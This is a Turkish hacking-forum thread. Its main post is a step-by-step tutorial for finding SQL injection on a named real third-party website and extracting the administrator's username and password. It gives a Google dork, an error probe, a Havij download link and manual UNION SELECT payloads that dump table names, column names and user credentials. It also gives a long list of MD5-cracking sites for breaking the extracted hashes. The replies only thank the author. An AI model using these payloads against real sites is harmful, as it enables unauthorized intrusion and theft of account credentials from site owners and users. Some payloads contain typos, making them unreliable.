Konuyu Oyla:
  • Derecelendirme: 5/5 - 1 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme
#1
SELAMÜN ALEYKÜM.
Umarım hepiniz iyisinizdir.
Bugün sizlere Hedef Sitemizde SQL İnj. Acıgı bulmayı Göstereceğim. Ve sonrasında SQL Acıgı ile Adminin Kullanıcı Adı Ve Şifresini çekmeyi göstericeğim.
Dökümana bana aittir. Kesinlikle alıntı değildir.

Neden SQL Derseniz . Bana göre günümüzde en yaygın olan güvenlik açıklarından biri , ayrıca herkesin yapabileceği bir teknik.
Konuya başlamadan önce SQL hakkında kısa bir bilgi vereyim .

SQL (Structured Query Language) veritabanlarında admin , data çekme, silme ve değiştirme gibi işlemler için kullanılan basit yapılı bir dildir.
Bugün hemen hemen tüm web uygulamalarının altyapısında veritabanı desteği vardır ve bu web uygulamaları veritabanı ile SQL aracılığıyla anlaşırlar.

SQL İnjection’u kullanabilmamiz için sayfa url’sinde bize ;
id=değer", "search=değer" gibi değişken değerleri alabilen ifadeler lazımdır.

Öncelikle hedef bir site belirleyelim .

Hedef sitemiz :
Kod:

Kod:
www.romanianwriters.ro/


Şimdi google yardımı ile sitede id değeri bulacagız .
Googlede aratacagımız dorkumuz ;

Kod:
inurl:?id=site:romanianwriters.ro

dorkumuzu googlede arattıktan sonra önümüze hedef sitemizdeki id değerleri çıkacaktır.

Arama sonucların en başında

Kod:
www.romanianwriters.ro/s.php?id=1

cıktı .

Yukarda dediğim gibi SQL İnjection’u kullanabilmamiz için sayfa url’sinde bize ;
id=değer", "search=değer" gibi değişken değerleri alabilen ifadeler lazımdır.
gördüğünüz üzere id=değer gibi değişken bulduk :


Kod:
www.romanianwriters.ro/s.php?id=1

Şimdi ise sitede sql açıgı varmı kontrol ediyoruz .
Bunu nasıl yaparız :
php?id=1 değerden sonra site sonuna ' veya 'a komutu verebiliriz.

Kod:
www.romanianwriters.ro/s.php?id=1'a

komutu verelim .

Ekrandaki yazı değişti ve hatada verdi.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'a' LIMIT 1' at line 1

Sitede mysql açıgı mevcut .

Gördüğünüz gibi 2 dakikada bulduk acıgımızı.Şimdi ise injecktion yaparak kolonları , admin giriş bilgilerini vs çekebiliriz.
İnjectionu 2 türlü yapabiliriz.

1. Havij ve benzeri programlar ile

2. Manuel olarak

Manuel SQl inj Havijin yaptığı elle yapılanıdır.

Havij gibi benzeri programlar otomatik olarak yapılanıdır.

Havij ile nasıl yaparız :
Öncelikle havij programı olmayan arkadaşlar havijin kendi sitesinden indirebilir ;

Kod:
http://www.itsecteam.com/files/havij/Havij1.15Free.rar

Havij programı ile admin pass çekme - kullanımı :

www.deccal.org

www.deccal.org

www.deccal.org

Gördüğünüz üzere SQL açıgından yola cıkıp havij programı desteği ile admin pass ve admin panelinide bulabiliyoruz.

Fakat her SQL'ı havij ile çözemessiniz.

Bu nedenle yüksek düzeyde manuel sql ögrenmelisiniz.Ama yeniler havij kullanarak bir çok site hackleyebilirsiniz.

Manuel olarak SQL İnjection Nasıl Yapılır ?

Manuel sql yapmak için öncelikle hedef sitemizde kolon sayısını bulacağız bunun için ordey+by+ veya group+by+ komutunu kullanacağız
Kod:

Kod:
www.hedefsite.com/php?.id=1+order+by+100

bu yüz sayısını misal veriyorum.
Bu sayıyı gittikçe azaltıp devam edicez.Mesela

Kod:
www.hedefsite.com/php?.id=1+order+by+5

de hata değişiyor ise kolon sayımız 5'tir.
Kolon sayımızı ögrendiğimize göre şimdi kolonları ekrana yansıtabiliriz.
Bunun için union+select+... kodumuzu kullanacağız.

Kod:
www.hedefsite.com/php?.id=1+union+select+0,1,2,3,4,5

yazıyoruz.Kolon sayımız 5 olduğu için 5e kadar yazıcagız.Sizin kolon sayınız başka olabilir .
Böyle kolonlarımızı ekrana yansıttık. Bazen bu komut ile kolonlar ekrana yansımıyor .

Eger bu komut ile kolonlar ekrana yansımaz ise URL’mizin sonuna -- ifadesini ekleriz.

Evet diyelimki 2 ve 4 kolonları cıktı ekrana.
Bu Sayılardan tablo nasıl çekilir ?

Kod:
www.hedefsite.com/php?.id=1+union+select+0,1,concat(table),3,4,5+from+information_schema.tables


yaparak
tablo isimlerini çekeriz. Ama hepsini çekmez . Hepsini çekmek için.

Kod:
www.hedefsite.com/php?.id=1+union+select+0,1group_concat(table_name),3,4,5+from+information_schema.tables

tablo isimleri yansıdı . Kücük harflerle yazılan isimler bize lazım olan tablolar.
Tabloların içinde örneğin users admins gibi tablo isimleri gördük . Bu isimleri kolonları bulmak için kullanıcaz.
Örnegin usersden yola çıkalım.

Kod:
www.hedefsite.com/php?.id=1+union+select+0,1,group_concat(column_name),3,4,5+from+information_schema.columuns+where+table_name="users"

Şimdi kolonlar ekrana yansımış olur . örneğin user_id , user_name , user_password , user_email olsun.

Şimdi bu kolonları kullanıp admin şifrelerini bulucaz.

Kod:
www.hedefsite.com/php?.id=1+union+select+0,1,concat(user_id,user_name,user_password,user_email)+from+user

Evet ekrana admin kullanıcı adı - şifresi - üyelik no su - ve emaili yansıdı .

Yansıyan şifre büyük bir ihtimalle md5 olarak yansımıştır.
Bu md5'i kırmamız gerekiyor .

Md5 nasıl kırarım ? :
MD5 yöntemi ile sifrelenmiş passwordleri md5 kırıcı siteler yardımı ile kırabiliriz.
Örnek md5 kıran siteler :
Kod:
http://www.hashkiller.co.uk/
http://www.md5crack.com/
http://www.hash-cracker.com/
http://www.md5online.org/
http://www.md5decrypt.org/
http://www.md5lab.com/
https://md5.darkbyte.ru/
http://md5encryption.com/
http://md5decryption.com/
http://www.hashchecker.de/
http://md5.com.cn/
http://md5.my-addr.com/
http://www.md5.net/
http://md5.rednoize.com/
http://www.md5crack.com/
http://tools.benramsey.com/md5/
http://www.md5crack.com/
http://www.md5this.com/
http://www.cmd5.org/
http://www.xmd5.org/
http://www.md5-hash.com/
http://www.iwebtool.com/md5
http://md5hashing.net/hashing/md5
https://quickhash.com/
http://crypo.in.ua/tools/eng_md5.php
http://www.md5-crypt.com/
http://www.tools4noobs.com/online_tools/encrypt/
https://crackstation.net/
http://encryption.online-toolz.com/tools/text-encryption-decryption.php
http://www.crypo.com/
http://www.md5lab.com/?word=online
http://www.md5rainbow.com/
http://password-decrypt.com/
http://decryptpassword.net/
http://www.md5decrypter.com/
http://lokmanakkaya.com/md5-sifre-cozucu/

Ayrıca bu linkteki konu tamamen bana aittir. MD5 Kırma ile Alakalı Herşey

Kod:
http://www.cyberizm.org/cyberizm-md5-sifre-kirmayla-alakali-hersey-videolu-resimli-anlatim.html

Not => Döküman tamamen bana aittir. İyi Kullanımlar exciting
Beğenenler: Julian , Kolonkun
#2
Ellerine sağlık baya güzel

Teşekürler...
Beğenenler:
#3
bakalım
Beğenenler:
#4
eline sağlık reis exciting
Beğenenler:
#5
emeğine sağlık
Beğenenler:
#6
eline sağlık çok güzel
Beğenenler:
#7
eline sağlık hocam
www.deccal.org
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  Manuel site sql bulma Stallk3r 5 904 06-12-2016, Saat: 20:43
Son Yorum: J3adJ3oy
  Hedef Sisteme Sızma Mentalistler 192 9,454 06-12-2016, Saat: 20:18
Son Yorum: J3adJ3oy
  Log Açığı İle Site Hackleyin! B3lirsiz 298 14,330 01-12-2016, Saat: 14:56
Son Yorum: GoldenArrow
  WordPress RSlider R-Plugin Güvenlik Açığı R3D 85 2,963 01-12-2016, Saat: 09:11
Son Yorum: the_zizil
  14 En İyi Açık Kaynak Web Uygulama Güvenlik Açığı Tarayıcılar archavin 36 2,859 18-11-2016, Saat: 13:57
Son Yorum: cihanmehmet
Anahtar Kelimeler

Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme indir, Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme Videosu, Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme Online izle, Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme Bedava indir, Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme Yükle, Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme Hakkında, Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme Nedir, Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme Free indir, Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme Oyunu, Hedef Sitede SQL Açığı Bulma ve Yönetici Kullanıcı Adı ve Şifreyi Ele Geçirme Download


1 Ziyaretçi